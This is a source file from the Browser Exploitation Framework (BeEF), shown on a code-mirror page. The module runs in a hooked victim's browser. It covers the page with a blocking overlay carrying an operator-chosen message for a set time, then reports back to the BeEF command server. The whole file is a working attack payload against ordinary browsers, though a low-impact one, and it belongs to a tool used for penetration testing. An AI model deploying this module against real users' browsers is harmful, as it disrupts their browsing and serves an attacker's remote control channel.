Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/blockui/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var timeout = '<%= @timeout %>' * 1000;
9
10
var blockui = function() {
11
$j.blockUI({ message: decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@message) %>')) });
12
setTimeout("$j.unblockUI();", <%= @timeout %> * 1000);
13
}
14
15
blockui();
16
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=command sent');
17
18
});
19
20
21